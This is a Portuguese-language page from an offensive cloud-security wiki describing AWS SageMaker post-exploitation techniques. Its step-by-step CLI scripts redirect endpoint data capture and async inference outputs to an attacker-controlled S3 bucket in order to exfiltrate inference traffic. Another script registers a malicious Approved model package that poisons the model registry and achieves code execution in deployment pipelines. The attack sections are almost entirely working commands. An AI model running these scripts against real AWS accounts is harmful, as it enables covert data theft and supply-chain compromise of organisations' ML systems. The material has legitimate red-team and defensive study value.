AWS - SageMaker Post-Exploitation
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Abusar do gerenciamento de endpoints do SageMaker para habilitar captura completa de request/response para um bucket S3 controlado pelo atacante sem tocar no modelo ou container. Usa uma atualização contínua com downtime zero/baixo e requer apenas permissões de gerenciamento do endpoint.
Requisitos
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(ou use um bucket existente na mesma conta) - Opcional (se usar SSE‑KMS):
kms:Encryptno CMK escolhido - Alvo: um endpoint InService de tempo real existente na mesma conta/região
Passos
- Identifique um endpoint InService e reúna as variantes de produção atuais
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- Preparar destino S3 do attacker para capturas
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- Crie um novo EndpointConfig que mantenha os mesmos variants mas habilite DataCapture para o bucket do atacante
Nota: Use tipos de conteúdo explícitos que satisfaçam a validação do CLI.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Aplicar a nova configuração com uma atualização gradual (tempo de inatividade mínimo/nenhum)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Gere pelo menos uma chamada de inferência (opcional se houver tráfego ao vivo)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Validar capturas no S3 do atacante
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Impacto
- Exfiltração completa dos payloads de requisição e resposta de inferência em tempo real (e metadados) do endpoint alvo para um S3 bucket controlado pelo atacante.
- Sem alterações na imagem do modelo/container e apenas mudanças ao nível do endpoint, permitindo um caminho furtivo de roubo de dados com mínima interrupção operacional.
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Abusar da gestão de endpoints para redirecionar as saídas de inferência assíncrona para um S3 bucket controlado pelo atacante clonando o EndpointConfig atual e configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Isso exfiltra as predições do modelo (e quaisquer inputs transformados incluídos pelo container) sem modificar o modelo/container.
Requisitos
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: Capacidade de gravar no S3 bucket controlado pelo atacante (via a role de execução do modelo ou uma política de bucket permissiva)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
Passos
- Coletar os ProductionVariants atuais do endpoint alvo
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- Crie um attacker bucket (certifique-se de que a model execution role possa PutObject nele)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- Clonar EndpointConfig e sequestrar as saídas do AsyncInference para o bucket do atacante
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Acionar uma invocação assíncrona e verificar se os objetos chegam ao S3 do atacante
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Impacto
- Redireciona resultados de inferência assíncrona (e corpos de erro) para um S3 controlado pelo atacante, permitindo exfiltração furtiva de previsões e, potencialmente, de entradas pré/pós-processadas sensíveis produzidas pelo container, sem alterar o código do modelo ou a imagem e com tempo de inatividade mínimo/nulo.
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Se um atacante puder executar CreateModelPackage em um SageMaker Model Package Group alvo, ele pode registrar uma nova versão do modelo que aponta para uma imagem de container controlada pelo atacante e marcá-la imediatamente como Approved. Muitos pipelines de CI/CD implantam automaticamente versões de modelo Approved em endpoints ou training jobs, resultando na execução de código do atacante sob as execution roles do serviço. A exposição cross-account pode ser amplificada por uma política de recurso permissiva no ModelPackageGroup.
Requisitos
- IAM (mínimo para comprometer um grupo existente):
sagemaker:CreateModelPackageno ModelPackageGroup alvo - Opcional (para criar um grupo se um não existir):
sagemaker:CreateModelPackageGroup - S3: Acesso de leitura ao ModelDataUrl referenciado (ou hospedar artefatos controlados pelo atacante)
- Alvo: Um Model Package Group que a automação downstream monitora para versões Approved
Etapas
- Defina a região e crie/encontre um Model Package Group alvo
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- Preparar dados de modelo de exemplo no S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Registrar uma versão de Approved model package maliciosa (aqui benigna) referenciando uma imagem pública do AWS DLC
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Verifique se a nova versão aprovada existe
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Impacto
- Envenene o Model Registry com uma versão Approved que referencia código controlado pelo atacante. Pipelines que fazem auto-deploy de modelos Approved podem pull e executar a imagem do atacante, resultando em execução de código com as permissões das roles de endpoint/treinamento.
- Com uma política de recurso ModelPackageGroup permissiva (PutModelPackageGroupPolicy), esse abuso pode ser acionado entre contas (cross-account).
Feature store poisoning
Abuse sagemaker:PutRecord em um Feature Group com OnlineStore habilitado para sobrescrever valores de features ao vivo consumidos pela inferência online. Combinado com sagemaker:GetRecord, um atacante pode ler features sensíveis. Isso não requer acesso a modelos ou endpoints.
{{#ref}} feature-store-poisoning.md {{/ref}}
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud